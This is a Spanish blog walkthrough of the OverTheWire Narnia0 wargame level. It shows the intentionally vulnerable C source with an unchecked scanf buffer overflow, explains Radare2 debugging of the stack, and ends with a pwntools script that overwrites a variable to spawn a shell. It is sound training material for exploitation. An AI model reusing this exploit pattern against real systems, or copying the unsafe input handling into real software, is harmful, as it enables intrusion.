Smashing Rabbit – Classic Buffer Overflow (VI)

Buenos días!! En esta entrada veremos algo más básico que la anterior en la que explotaremos un buffer overflow (bof). Me diréis que ya existe una entrada sobre bof pero es interesante profundizar!.

Narnia0

La página que usaremos sera Overthewire Nos conectamos vía ssh:

ssh narnia0@narnia.labs.overthewire.org -p 2226

User:narnia0

Password:narnia0

Código fuente:

#include <stdio.h>
#include <stdlib.h>

int main(){
	long val=0x41414141;
	char buf[20];

	printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
	printf("Here is your chance: ");
	scanf("%24s",&buf);

	printf("buf: %s\n",buf);
	printf("val: 0x%08x\n",val);

	if(val==0xdeadbeef){
        setreuid(geteuid(),geteuid());
		system("/bin/sh");
    }
	else {
		printf("WAY OFF!!!!\n");
		exit(1);
	}

	return 0;
}

Análisis estático

Si observamos el código fuente para obtener la shell simplemente se tiene que cumplir la condición si val == 0xdeadbeef  Es interesante saber como funciona el Stack o la Pila, para ello recomiendo como en la entrada anterior ver la primera entrada de la saga Diseccionando Binarios Primero como siempre tenemos que:

  • Ver las strings en busca de información. Con IDA podemos automatizar estos procesos usando la api, tenéis mas información en esta entrada Scripting con IDAPython
  • Interactuar con el binario para saber si existe algún input para introducir caracteres.

En esta entrada hare una de mis herramientas favoritas Radare2. Localizamos las strings: Podemos ver en las strings algo muy raro visualizando el valor de la variable «val», pero ya sabemos que su valor en el código fuente es 0x41414141, ¿que sentido tiene que me lo visualice? Quizás sea cómo es el valor que se compara con 0xdeadbeef, necesitamos sobreescribir esa variable con ese contenido para obtener la shell!. Entonces me diréis ¿para que vamos a trabajar de más viendo el código desensamblado y debuggearlo, si ya tenemos un leak de información que nos muestra el contenido de la variable a sobreescribir? Pues si, es trabajar de más porque es muy sencillo ya que es ir probando hasta dar con la cantidad de caracteres del buffer que sobreescribe la variable y así bypassear la estructura de control y ganar la shell. Pero como ami me gusta hacer las cosas bien, obviamos esa «ayuda» o leak de información y primero lo analizamos estáticamente y posteriormente dinámicamente haciendo debugging. Comenzamos con las primeras instrucciones en el desensamblado: La variable local_2ch es nuestra «val». En esas instrucciones llama a la función puts() y printf() que básicamente lo que hace es mostrar por la salida estándar los caracteres de las strings. En las siguientes instrucciones se hace uso de la función scanf() y dos printf(). Antes de llamar a la función scanf() lee los datos de entrada en el stdin. Esta función recibe dos argumentos el tipo de datos y una dirección de memoria de la variable donde se almacenará el dato. scanf(tipo, &var) Con la instrucción LEA mueve la dirección de memoria de local_18h, de ese modo ya sabemos que esa variable tendrá el contenido de lo que introduzcamos por stdin. Por último muestra por pantalla el valor del bufer introducido y el valor de la variable «val».

Debugging

Ahora viene la parte mas entretenida :). Comencemos por introducir por stdin «AAAABBBBCCCC». Colocamos un breakpoint con «db» justo en la dirección de memoria cuando el registro ESP contiene la dirección de memoria que contiene el valor de «val». Observamos que en la dirección de memoria 0xffffd5f0 esta el contenido de la variable «val»=AAAA, y mas abajo el contenido de nuestro buffer y luego otra vez las «AAAA». Ahora visualizamos con «Vpp» para visualizar el Stack, registros y el desensamblado: Con 12 caracteres no hemos podido sobreescribir, intentemos con el restante hasta llegar a esas «AAAA» que vimos. Y ahi esta mi amigo del blog Guille Hartek machacando el contenido de «val»! Gracias a esta variable que nos mostraba ese leak de información por pantalla al ejecutar el binario sabemos exactamente la posición en memoria de los bytes que se necesita «RTEK» justo a partir del 20: Y ahi vemos nuestras «FFFF» por stdin, ¿si pasamos 0xdeadbeef que pasará? Tenemos nuestro «val» como 0xdeadbeef. Ahora que tenemos localizado el fallo, escribimos el exploit haciendo uso de la lib pwntools

from pwn import *
import time

HOST = 'narnia.labs.overthewire.org'
USERNAME = 'narnia0'
PASS = 'narnia0'
PORT=2226

s = ssh(host=HOST, user=USERNAME, password=PASS, port=PORT)

directorio = "/narnia"
binario = '%s/narnia0' % directorio
r = s.run(binario)

r.send('A'*20) #Escribimos en el buffer hasta llegar al punto de sobreescribir
r.send('\xef\xbe\xad\xde') #escribimos el valor que nos interesa para que cumpla la condicion y obtener la /bin/sh
r.send('a') 

#eliminamos cualquier basura del buffer
r.clean()

#Le damos tiempo
time.sleep(2)
#Y shell interactiva!
r.interactive()

Exploitation

Un saludo y hasta la próxima!!